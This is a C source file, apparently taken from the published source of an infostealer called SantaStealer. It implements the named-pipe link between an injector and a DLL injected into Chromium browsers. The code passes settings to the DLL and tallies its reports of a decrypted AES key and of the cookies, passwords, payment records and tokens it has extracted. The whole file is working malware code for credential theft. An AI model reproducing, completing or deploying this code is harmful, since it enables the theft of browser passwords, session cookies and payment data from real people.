Files
SantaStealerSRC/ChromiumDataDumper/injector/src/pipe_communicator.c
T
2026-08-27 11:22:14 -06:00

199 lines
6.2 KiB
C
Executable File

#include "pipe_communicator.h"
#include <string.h>
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
if (!comm || !pipe_name) return false;
memset(comm, 0, sizeof(PipeCommunicator));
wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);
comm->pipe = CreateNamedPipeW(
pipe_name,
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 4096, 4096, 0, NULL
);
return comm->pipe != INVALID_HANDLE_VALUE;
}
void pipe_destroy(PipeCommunicator* comm) {
if (!comm) return;
if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
CloseHandle(comm->pipe);
comm->pipe = INVALID_HANDLE_VALUE;
}
}
bool pipe_wait_for_client(PipeCommunicator* comm) {
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
OVERLAPPED overlapped = { 0 };
overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!overlapped.hEvent) return false;
BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
DWORD last_error = GetLastError();
if (!connected && last_error == ERROR_IO_PENDING) {
DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
CloseHandle(overlapped.hEvent);
if (wait_result != WAIT_OBJECT_0) {
CancelIo(comm->pipe);
return false;
}
}
else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
CloseHandle(overlapped.hEvent);
return false;
}
else {
CloseHandle(overlapped.hEvent);
}
Sleep(200);
return true;
}
static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
if (!comm || !msg) return false;
DWORD bytes_written = 0;
size_t msg_len = strlen(msg) + 1;
return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
bytes_written == msg_len;
}
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
if (!comm || !output_path) return false;
if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
Sleep(10);
if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
Sleep(10);
char path_utf8[MAX_PATH_LEN * 3];
WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
if (!pipe_write_message(comm, path_utf8)) return false;
Sleep(10);
return true;
}
static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
const char* start = strstr(message, prefix);
if (!start) return 0;
start += strlen(prefix);
const char* end = strstr(start, suffix);
if (!end) end = start + strlen(start);
char num_str[32];
size_t len = end - start;
if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;
memcpy(num_str, start, len);
num_str[len] = '\0';
return atoi(num_str);
}
static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
if (!comm || !message) return;
if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
}
if (strstr(message, "Decrypted AES Key: ")) {
const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
}
if (strstr(message, " cookies extracted to ")) {
comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
}
if (strstr(message, " passwords extracted to ")) {
comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
}
if (strstr(message, " payments extracted to ")) {
comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
}
if (strstr(message, " tokens extracted to ")) {
comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
}
}
bool pipe_relay_messages(PipeCommunicator* comm) {
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD start_time = GetTickCount();
char accumulated[8192] = { 0 };
size_t accumulated_len = 0;
char buffer[4096];
bool completed = false;
while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
DWORD bytes_available = 0;
if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
break;
}
if (bytes_available == 0) {
Sleep(100);
continue;
}
DWORD bytes_read = 0;
if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
if (GetLastError() == ERROR_BROKEN_PIPE) break;
continue;
}
if (accumulated_len + bytes_read < sizeof(accumulated)) {
memcpy(accumulated + accumulated_len, buffer, bytes_read);
accumulated_len += bytes_read;
}
size_t pos = 0;
while (pos < accumulated_len) {
size_t msg_len = strlen(accumulated + pos);
if (msg_len == 0 || pos + msg_len >= accumulated_len)
break;
char* message = accumulated + pos;
if (strcmp(message, completion_signal) == 0) {
completed = true;
break;
}
parse_extraction_message(comm, message);
pos += msg_len + 1;
}
if (completed)
break;
if (pos > 0 && pos < accumulated_len) {
memmove(accumulated, accumulated + pos, accumulated_len - pos);
accumulated_len -= pos;
}
else if (pos >= accumulated_len) {
accumulated_len = 0;
}
}
return completed;
}